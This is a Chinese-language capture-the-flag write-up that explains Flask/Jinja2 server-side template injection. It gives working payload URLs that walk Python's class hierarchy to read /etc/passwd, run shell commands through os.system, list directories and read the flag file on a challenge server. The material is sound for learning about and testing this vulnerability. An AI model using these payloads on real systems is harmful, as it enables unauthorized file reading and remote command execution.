学习文章:https://www.freebuf.com/column/187845.html
https://blog.csdn.net/weixin_54515836/article/details/113778233
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>'
return render_template_string(html)
flask jinjia渲染引擎中格式:
控制结构 {% %}
变量取值 {{}}
注释 {# #}
基础类的执行
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
输入一个表达式1+2发现表达式被执行证明存在ssti
通过python的对象的继承来一步步实现文件读取和命令执行
思路:找到父类<type 'object'>-->寻找子类-->找关于命令执行或者文件操作的模块。
寻找可用的引用类payload:
"".__class__.__mro__[2].__subclasses__()
解析:"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes),而不是对象(objects)。
具体来说,__class__是一个内置属性,表示一个对象所属的类。通过调用__class__.__mro__,可以获取该类的方法解析顺序(Method Resolution Order,MRO),它是一个元组,按照查找方法时的顺序列出了对象所属类及其父类。
在MRO中,索引为2的元素表示对象所属类的直接父类。对于大多数类,索引为2处的元素是object类,因为大多数类都直接或间接继承自object类。
然后通过调用__subclasses__()方法,可以获取一个列表,其中包含了该类的所有子类。这些子类是可用的类,可以用于创建对象和调用其方法。
综上所述,"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes)
发现type'file'类,可以调用其方法来读取文件
构造一个payload读取/etc/passwd文件
http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
[40]是<type 'file'>所在的第几个位置,从零开始算
可用类中还有一个<class 'site._Printer'>类,可以调用其方法来执行命令(因为它含os模版,有其他的Printer也行)
找到其位置为71,再利用__init__魔术方法初始化类
构造payload
http://61.147.171.105:50215/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}
如果system被过滤或者找不到,用os的listdir读取目录+file模块读取文件
构造payload,listdir函数中的点表示当前目录
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
看到flag的文件名
利用os模块的file,read读取
payload:
http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
成功读取到flag